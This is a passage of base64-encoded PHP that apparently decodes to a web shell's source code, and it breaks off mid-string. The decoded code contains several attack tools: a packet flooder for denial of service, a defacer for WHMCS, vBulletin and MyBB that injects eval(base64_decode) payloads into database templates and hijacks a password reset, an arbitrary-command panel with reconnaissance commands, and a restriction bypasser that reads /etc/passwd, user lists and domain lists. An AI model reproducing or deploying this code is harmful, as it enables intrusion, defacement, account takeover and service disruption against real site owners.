PGlucHV0IG5hbWU9Imhvc3QiIHR5cGU9InRleHQiIHZhbHVlPSJsb2NhbGhvc3QiIHNpemU9IjI1IiAvPiBUaW1lIDogPGlucHV0IG5hbWU9InRpbWUiIHR5cGU9InRleHQiIHNpemU9IjE1IiAvPiBQb3J0IDogPGlucHV0IG5hbWU9InBvcnQiIHR5cGU9InRleHQiIHNpemU9IjEwIiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgLz48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2kxJ10pICYmICFlbXB0eSgkX1BPU1RbJ2hva2kyJ10pICYmICFlbXB0eSgkX1BPU1RbJ2hva2kzJ10pKXsKZWNobyBfX3ByZSgpOwokcGFja2V0cz0wOwppZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsKJGV4ZWNfdGltZT0oaW50KSRfUE9TVFsnaG9raTInXTsKJHRpbWU9dGltZSgpOwokbWF4X3RpbWU9JGV4ZWNfdGltZSskdGltZTsKJGhvc3Q9JF9QT1NUWydob2tpMSddOwokcG9ydD0oaW50KSRfUE9TVFsnaG9raTMnXTsKJG1ldGhvZD0kX1BPU1RbJ2hva2k0J107CiRvdXQgPSBzdHJfcmVwZWF0KCdYJyw2NTAwMCk7CndoaWxlKDEpewokcGFja2V0cysrOwppZih0aW1lKCkgPiAkbWF4X3RpbWUpewpicmVhazsKfQokZnAgPSBAZnNvY2tvcGVuKCRtZXRob2QuJzovLycuJGhvc3QsICRwb3J0LCAkZXJybm8sICRlcnJzdHIsIDUpOwppZigkZnApewpmd3JpdGUoJGZwLCAkb3V0KTsKZmNsb3NlKCRmcCk7Cn0KfQplY2hvICI8Y2VudGVyPiRwYWNrZXRzICgiIC4gQHJvdW5kKCgkcGFja2V0cyo2NSkvMTAyNCwgMikgLiAiIE1CKSBwYWNrZXRzIGF2ZXJhZ2luZyAiLiBAcm91bmQoJHBhY2tldHMvJGV4ZWNfdGltZSwgMikgLiAiIHBhY2tldHMgcGVyIHNlY29uZDwvY2VudGVyPiI7CmVjaG8gIjwvcHJlPiI7Cn0KZWNobyAnPC9kaXY+JzsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIF9fcHJlKCl7cmV0dXJuKCc8cHJlIGlkPSJzdHJPdXRwdXQiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCIgY2xhc3M9Im1sMSI+Jyk7fQpmdW5jdGlvbiBob2tpSW5kZXhDaGFuZ2VyKCl7Cmhva2loZWFkKCk7CgplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEluZGV4IENoYW5nZXIgfDwvZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ0luZGV4Q2hhbmdlclwnLG51bGwsbnVsbCxudWxsLFwnd2htY3NcJykiPnwgV2htY3MgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ0luZGV4Q2hhbmdlclwnLG51bGwsXCd2YlwnLG51bGwpIj58IHZCdWxsZXRpbiB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnSW5kZXhDaGFuZ2VyXCcsbnVsbCxudWxsLFwnbXliYlwnKSI+fCBNeUJCIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsKaWYoaXNzZXQoJF9QT1NUWydob2tpMyddKSYmKCRfUE9TVFsnaG9raTMnXSA9PSAnd2htY3MnKSl7CmVjaG8gX19wcmUoKTsKCmVjaG8gIjxjZW50ZXI+PGNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBXaG1jcyB8PC9kaXY+CjxwPjxjZW50ZXI+Ii5nZXRDb25maWdIdG1sKCd3aG1jcycpLiI8Zm9ybSBvblN1Ym1pdD1cImcoJ0luZGV4Q2hhbmdlcicsbnVsbCxudWxsLG51bGwsJ3dobWNzJyx0aGlzLmZuYW1lLnZhbHVlLHRoaXMucGF0aC52YWx1ZSx0aGlzLmRidS52YWx1ZSx0aGlzLmRibi52YWx1ZSx0aGlzLmRicC52YWx1ZSx0aGlzLmRiaC52YWx1ZSx0aGlzLmluZGV4LnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiPgoiOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaW5wdXROYW1lJyA9PiAnZGJoJywgJ2lkJyA9PiAnZGJfaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1VSTCcsICdpbnB1dE5hbWUnID0+ICdwYXRoJywgJ2lucHV0VmFsdWUnID0+ICdodHRwOi8vc2l0ZS5jb20vd2htY3MnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRmlsZSBOYW1lJywgJ2lucHV0TmFtZScgPT4gJ2ZuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpbnB1dE5hbWUnID0+ICdkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpbnB1dE5hbWUnID0+ICdkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDYnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gIjxicj48ZGl2IGNsYXNzPSd0eHRmb250Jz58IFlvdXIgSW5kZXggfDwvZGl2Pjxicj4KPHRleHRhcmVhIG5hbWU9aW5kZXggcm93cz0nMTknIGNvbHM9JzEwMyc+PHRpdGxlPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvdGl0bGU+PGI+SGFja2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlPC9iPjwvdGV4dGFyZWE+PGJyPgo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+CjwvZm9ybT48L2NlbnRlcj48L2NlbnRlcj4iOwppZihpc3NldCgkX1BPU1RbJ2hva2k2J10pKXsKJGtpczNyeW91bmk9IlBvd2VyZWQgQnkgS2lzZXJ5b3VuaSI7CiRkYnUgPSAkX1BPU1RbJ2hva2k2J107CiRwYXRoID0gJF9QT1NUWydob2tpNSddOwokZm5hbWUgPSAkX1BPU1RbJ2hva2k0J107CiRkYm4gPSAkX1BPU1RbJ2hva2k3J107CiRkYnAgPSAkX1BPU1RbJ2hva2k4J107CiRkYmggPSAkX1BPU1RbJ2hva2k5J107CiRpbmRleCA9ICRfUE9TVFsnaG9raTEwJ107CiRpbmRleCA9IHN0cl9yZXBsYWNlKCJcJyIsIiciLCRpbmRleCk7CiRkZWZhY2UgPSAnJHggPSBiYXNlNjRfZGVjb2RlKCInLl9fWlc1amIyUmxjZygkaW5kZXgpLiciKTsgJGtpc2VyeW91bmkgPSBmb3BlbigiJy4kZm5hbWUuJyIsInciKTsgZndyaXRlKCRraXNlcnlvdW5pLCR4KTsnOwokc2F2ZURhdGEgPSBfX1pXNWpiMlJsY2coJGRlZmFjZSk7CiREZWYgPSAne3BocH1ldmFsKGJhc2U2NF9kZWNvZGUoIicuJHNhdmVEYXRhLiciKSk7ey9waHB9JzsKaWYoIWVtcHR5KCRkYmgpJiYhZW1wdHkoJGRidSkmJiFlbXB0eSgkZGJuKSYmIWVtcHR5KCRpbmRleCkpewokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnAsJGRibikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwoka2lzZVNhdmU9QG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IG1lc3NhZ2UgZnJvbSB0YmxlbWFpbHRlbXBsYXRlcyB3aGVyZSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyIpOwoka2lzZUdldCA9IG15c3FsaV9mZXRjaF9hc3NvYygka2lzZVNhdmUpOwokdGVtcFNhdmUxID0gJGtpc2VHZXRbJ21lc3NhZ2UnXTsKJHRlbXBTYXZlID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJHRlbXBTYXZlMSk7CiRpbmplY3QgPSAiVVBEQVRFIHRibGVtYWlsdGVtcGxhdGVzIFNFVCBtZXNzYWdlPSckRGVmJyBXSEVSRSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyI7CiRyZXN1bHQ9QG15c3FsaV9xdWVyeSgkY29ubiwkaW5qZWN0KSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwokY3JlYXRlID0gImluc2VydCBpbnRvIHRibGNsaWVudHMgKGVtYWlsKSB2YWx1ZXMoJ2tpc2VyeW91bmlAZmJpLmdvdicpIjsKJHJlc3VsdDIgPUBteXNxbGlfcXVlcnkoJGNvbm4sJGNyZWF0ZSkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSl7CiRIb2tpU29sZSA9IG5ldyBIb2tpQ1VSTCh0cnVlKTsKJHNhdmV1cmwgPSAkSG9raVNvbGUtPlNlbmQoJHBhdGguIi9wd3Jlc2V0LnBocCIpOwokZ2V0VG9rZW4gPSBwcmVnX21hdGNoKCIvbmFtZT1cInRva2VuXCIgdmFsdWU9XCIoLio/KVwiL2kiLCRzYXZldXJsLCR0b2tlbik7CiRIb2tpU29sZS0+U2VuZCgkcGF0aC4iL3B3cmVzZXQucGhwIiwicG9zdCIsInRva2VuPXskdG9rZW5bMV19JmFjdGlvbj1yZXNldCZlbWFpbD1raXNlcnlvdW5pQGZiaS5nb3YiKTsKJGJhY2tkYXRhID0gIlVQREFURSB0YmxlbWFpbHRlbXBsYXRlcyBTRVQgbWVzc2FnZT0neyR0ZW1wU2F2ZX0nIFdIRVJFIG5hbWU9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIjsKJEtpc2VyeW91bmkgPSBteXNxbGlfcXVlcnkoJGNvbm4sJGJhY2tkYXRhKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwpfX2FsZXJ0KCdGaWxlIENyZWF0ZWQuLi4nKTsKZWNobyAiPGJyPjxwcmUgaWQ9XCJzdHJPdXRwdXRcIiBzdHlsZT1cIm1hcmdpbi10b3A6NXB4XCIgY2xhc3M9XCJtbDFcIj48YnI+PGNlbnRlcj48Zm9udCBjb2xvcj1yZWQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9JyIuJHBhdGguIi8iLiRmbmFtZS4iJz5DbGljayBIZXJlICE8L2E+PC9mb250PjwvYj48L2NlbnRlcj48YnI+PGJyPiI7Cn1lbHNlewplY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlBsZWFzZSBnbyB0byBUYXJnZXQgPC9mb250Pjxmb250IGNvbG9yPXJlZD5cIiAiLiRwYXRoLiIvcHdyZXNldC5waHAgXCI8L2ZvbnQ+PGJyLz48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj4gYW5kIHJlc2V0IHBhc3N3b3JkIHdpdGggZW1haWw8L2ZvbnQ+ID0+IDxmb250IGNvbG9yPXJlZD5raXNlcnlvdW5pQGZiaS5nb3Y8L2ZvbnQ+PGJyLz48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5hbmQgZ28gdG88L2ZvbnQ+IDxmb250IGNvbG9yPXJlZD5cIiAiLiRwYXRoLiIvIi4kZm5hbWUuIiBcIjwvZm9udD48L2I+PC9jZW50ZXI+PGJyPjxicj4iOwp9fX19CmlmKGlzc2V0KCRfUE9TVFsnaG9raTEnXSkgJiYgKCRfUE9TVFsnaG9raTEnXSA9PSAndmInKSl7CmVjaG8gX19wcmUoKTsKCmVjaG8gIjxjZW50ZXI+PGNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCB2QnVsbGV0aW4gfDwvZGl2Pgo8cD48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgndmInKS4iPGZvcm0gb25TdWJtaXQ9XCJnKCdJbmRleENoYW5nZXInLG51bGwsJ3ZiJyx0aGlzLmRidS52YWx1ZSx0aGlzLmRibi52YWx1ZSx0aGlzLmRicC52YWx1ZSx0aGlzLmRiaC52YWx1ZSx0aGlzLmluZGV4LnZhbHVlLHRoaXMucHJlZml4LnZhbHVlLCc+PicpOyByZXR1cm4gZmFsc2U7XCI+CiI7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpbnB1dE5hbWUnID0+ICdkYmgnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpbnB1dE5hbWUnID0+ICdkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpbnB1dE5hbWUnID0+ICdkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1ByZWZpeCcsICdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaWQnID0+ICdkYl9wcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICI8YnI+PGRpdiBjbGFzcz0ndHh0Zm9udCc+fCBZb3VyIEluZGV4IHw8L2Rpdj48YnI+Cjx0ZXh0YXJlYSBuYW1lPSdpbmRleCcgcm93cz0nMTknIGNvbHM9JzEwMyc+PHRpdGxlPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvdGl0bGU+PGI+SGFja2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlPC9iPjwvdGV4dGFyZWE+PGJyPgo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvY2VudGVyPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnaG9raTgnXT09Jz4+Jyl7CiRraXMzcnlvdW5pPSJQb3dlcmVkIEJ5IEtpc2VyeW91bmkiOwokZGJ1ID0gJF9QT1NUWydob2tpMiddOwokZGJuID0gJF9QT1NUWydob2tpMyddOwokZGJwID0gJF9QT1NUWydob2tpNCddOwokZGJoID0gJF9QT1NUWydob2tpNSddOwokaW5kZXggPSAkX1BPU1RbJ2hva2k2J107CiRwcmVmaXggPSAkX1BPU1RbJ2hva2k3J107CiRpbmRleD1zdHJfcmVwbGFjZSgiXCciLCInIiwkaW5kZXgpOwokc2V0X2luZGV4ID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCciOwokc2V0X2luZGV4IC49IF9fWlc1amIyUmxjZygiZWNobyBcIiRpbmRleFwiOyIpOwokc2V0X2luZGV4IC49ICJcJykpfX17XCR7ZXhpdCgpfX0iOwppZighZW1wdHkoJGRiaCkmJiFlbXB0eSgkZGJ1KSYmIWVtcHR5KCRkYm4pJiYhZW1wdHkoJGluZGV4KSl7CiRjb25uPUBteXNxbGlfY29ubmVjdCgkZGJoLCRkYnUsJGRicCwkZGJuKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRsb2xpMSA9ICJVUERBVEUgIi4kcHJlZml4LiJ0ZW1wbGF0ZSBTRVQgdGVtcGxhdGU9JyIuJHNldF9pbmRleC4iIi4ka2lzM3J5b3VuaS4iJyBXSEVSRSB0aXRsZT0nc3BhY2VyX29wZW4nIjsKJGxvbGkyID0gIlVQREFURSAiLiRwcmVmaXguInRlbXBsYXRlIFNFVCB0ZW1wbGF0ZT0nIi4kc2V0X2luZGV4LiIiLiRraXMzcnlvdW5pLiInIFdIRVJFIHRpdGxlPSdGT1JVTUhPTUUnIjsKJGxvbGkzID0gIlVQREFURSAiLiRwcmVmaXguInN0eWxlIFNFVCBjc3M9JyIuJHNldF9pbmRleC4iIi4ka2lzM3J5b3VuaS4iJywgc3R5bGV2YXJzPScnLCBjc3Njb2xvcnM9JycsIGVkaXRvcnN0eWxlcz0nJyI7CkBteXNxbGlfcXVlcnkoJGNvbm4sJGxvbGkxKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwpAbXlzcWxpX3F1ZXJ5KCRjb25uLCRsb2xpMikgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsKQG15c3FsaV9xdWVyeSgkY29ubiwkbG9saTMpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7Cl9fYWxlcnQoJ1ZCIGluZGV4IGNoYW5nZWQuLi4hJyk7Cn0KfQp9CmlmKGlzc2V0KCRfUE9TVFsnaG9raTInXSkgJiYgKCRfUE9TVFsnaG9raTInXSA9PSAnbXliYicpKSB7CmVjaG8gX19wcmUoKTsKCmVjaG8gIjxjZW50ZXI+PGNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBNeWJiIHw8L2Rpdj4KPHA+PGNlbnRlcj4iLmdldENvbmZpZ0h0bWwoJ215YmInKS4iPGZvcm0gb25TdWJtaXQ9XCJnKCdJbmRleENoYW5nZXInLG51bGwsJ251bGwnLCdteWJiJyxudWxsLG51bGwsbnVsbCx0aGlzLm15YmJkYmgudmFsdWUsdGhpcy5teWJiZGJ1LnZhbHVlLHRoaXMubXliYmRibi52YWx1ZSx0aGlzLm15YmJkYnAudmFsdWUsdGhpcy5teWJiaW5kZXgudmFsdWUpOyByZXR1cm4gZmFsc2U7XCIgbWV0aG9kPVBPU1QgYWN0aW9uPScnPgoiOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaW5wdXROYW1lJyA9PiAnbXliYmRiaCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lucHV0TmFtZScgPT4gJ215YmJkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpbnB1dE5hbWUnID0+ICdteWJiZGJ1JywgJ2lkJyA9PiAnZGJfdXNlcicsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAnbXliYmRicCcsICdpZCcgPT4gJ2RiX3B3JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAiPGJyPjxkaXYgY2xhc3M9J3R4dGZvbnQnPnwgWW91ciBJbmRleCB8PC9kaXY+PGJyPgo8dGV4dGFyZWEgbmFtZT1teWJiaW5kZXggcm93cz0nMTknIGNvbHM9JzEwMyc+Cjx0aXRsZT5IYWNrZWQgQnkgU29sZSBTYWQgJiBJbnZpc2libGU8L3RpdGxlPjxiPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvYj48L3RleHRhcmVhPjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScnID48L3A+PC9mb3JtPjwvY2VudGVyPjwvY2VudGVyPiI7CmlmKGlzc2V0KCRfUE9TVFsnaG9raTYnXSkpewokbXliYl9kYmggPSAkX1BPU1RbJ2hva2k2J107CiRteWJiX2RidSA9ICRfUE9TVFsnaG9raTcnXTsKJG15YmJfZGJuID0gJF9QT1NUWydob2tpOCddOwokbXliYl9kYnAgPSAkX1BPU1RbJ2hva2k5J107CiRteWJiX2luZGV4ID0gJF9QT1NUWydob2tpMTAnXTsKaWYoIWVtcHR5KCRteWJiX2RiaCkmJiFlbXB0eSgkbXliYl9kYnUpJiYhZW1wdHkoJG15YmJfZGJuKSYmIWVtcHR5KCRteWJiX2luZGV4KSl7CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbXliYl9kYmgsJG15YmJfZGJ1LCRteWJiX2RicCwkbXliYl9kYm4pIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHByZWZpeD0ibXliYl8iOwokbG9saTcgPSAiVVBEQVRFICIuJHByZWZpeC4idGVtcGxhdGVzIFNFVCB0ZW1wbGF0ZT0nIi4kbXliYl9pbmRleC4iJyBXSEVSRSB0aXRsZT0naW5kZXgnIjsKJHJlc3VsdCA9QG15c3FsaV9xdWVyeSgkY29ubiwkbG9saTcpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7Cl9fYWxlcnQoJ015QkIgaW5kZXggY2hhbmdlZC4uLiEnKTsKfQp9Cn0KZWNobyAiPC9kaXY+IjsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2lwcm9jKCkKewpob2tpaGVhZCgpOwplY2hvICI8RGl2IGNsYXNzPWhlYWRlcj48YnI+PGNlbnRlcj4iOwppZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ2hva2kxJ10pKQokX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7CmlmKCRHTE9CQUxTWydzeXMnXT09IndpbiIpewokcHJvY2Vzcz1hcnJheSgKIlRhc2sgTGlzdCIgPT4idGFza2xpc3QgL1YiLAoiU3lzdGVtIEluZm8iID0+InN5c3RlbWluZm8iLAoiQWN0aXZlIENvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLAoiUnVubmluZyBTZXJ2aWNlcyIgPT4gIm5ldCBzdGFydCIsCiJVc2VyIEFjY291bnRzIiA9PiAibmV0IHVzZXIiLAoiU2hvdyBDb21wdXRlcnMiID0+ICJuZXQgdmlldyIsCiJBUlAgVGFibGUiID0+ICJhcnAgLWEiLAoiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiCik7fWVsc2V7CiRwcm9jZXNzPWFycmF5KAoiUHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLAoiU3lzbG9nIiA9PiJjYXQgL2V0Yy9zeXNsb2cuY29uZiIsCiJSZXNvbHYiID0+ICJjYXQgL2V0Yy9yZXNvbHYuY29uZiIsCiJIb3N0cyIgPT4iY2F0IC9ldGMvaG9zdHMiLAoiQ3B1aW5mbyI9PiJjYXQgL3Byb2MvY3B1aW5mbyIsCiJWZXJzaW9uIj0+ImNhdCAvcHJvYy92ZXJzaW9uIiwKIlNiaW4iPT4ibHMgLWFsIC91c3Ivc2JpbiIsCiJJbnRlcnJ1cHRzIj0+ImNhdCAvcHJvYy9pbnRlcnJ1cHRzIiwKImxzYXR0ciI9PiJsc2F0dHIgLXZhIiwKIlVwdGltZSI9PiJ1cHRpbWUiLAoiRnN0YWIiID0+ImNhdCAvZXRjL2ZzdGFiIgopO30KZm9yZWFjaCgkcHJvY2VzcyBhcyAkbiA9PiAkbGluayl7CmVjaG8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImcoXCdwcm9jXCcsbnVsbCxcJycuJGxpbmsuJ1wnKSI+IHwgJy4kbi4nIHwgPC9hPic7Cn0KZWNobyAiPC9jZW50ZXI+PGJyPiI7CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2kxJ10pKXsKZWNobyAiPHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnID4iOwppZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdJiYhZW1wdHkoJF9QT1NUWyJjIl0pKXskY21kID0gImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInOyI7fQplY2hvIGhva2lFeCgkY21kLiRfUE9TVFsnaG9raTEnXSwgdHJ1ZSk7CmVjaG8gJzwvcHJlPic7Cn0KZWNobyAiPC9kaXY+IjsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2lzYWZlKCl7Cmhva2loZWFkKCk7CmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEF1dG8gQnlQYXNzZXIgfDwvZGl2PiI7CmVjaG8gJzxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsXCdwaHAuaW5pXCcsbnVsbCkiPnwgUEhQLklOSSB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxcJ2luaVwnKSI+fCAuaHRhY2Nlc3MoYXBhY2hlKSB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLFwncGxcJykiPnwgLmh0YWNjZXNzKExpdGVTcGVlZCkgfDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsXCdwYXNzd2RcJykiPnwgUmVhZC1QYXNzd2QgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NhZmVcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsXCd1c2Vyc1wnKSI+fCBSZWFkLVVzZXJzIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsXCd2YWxpYXNlc1wnKSI+fCBHZXQtVXNlciB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ2RvbWFpbnNcJykiPnwgR2V0LURvbWFpbnMgfCA8L2E+PC9jZW50ZXI+PC9oMz4nOwppZighZW1wdHkoJF9QT1NUWydob2tpOCddKSAmJiBpc3NldCgkX1BPU1RbJ2hva2k4J10pID09ICdkb21haW5zJyl7CmlmKCFfaG9raV9maWxlX2V4aXN0cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpKXsKZWNobyBfX3ByZSgpOwoka2lzZXJ5b3VuaTkgPSBfaG9raV9maWxlKCcvZXRjL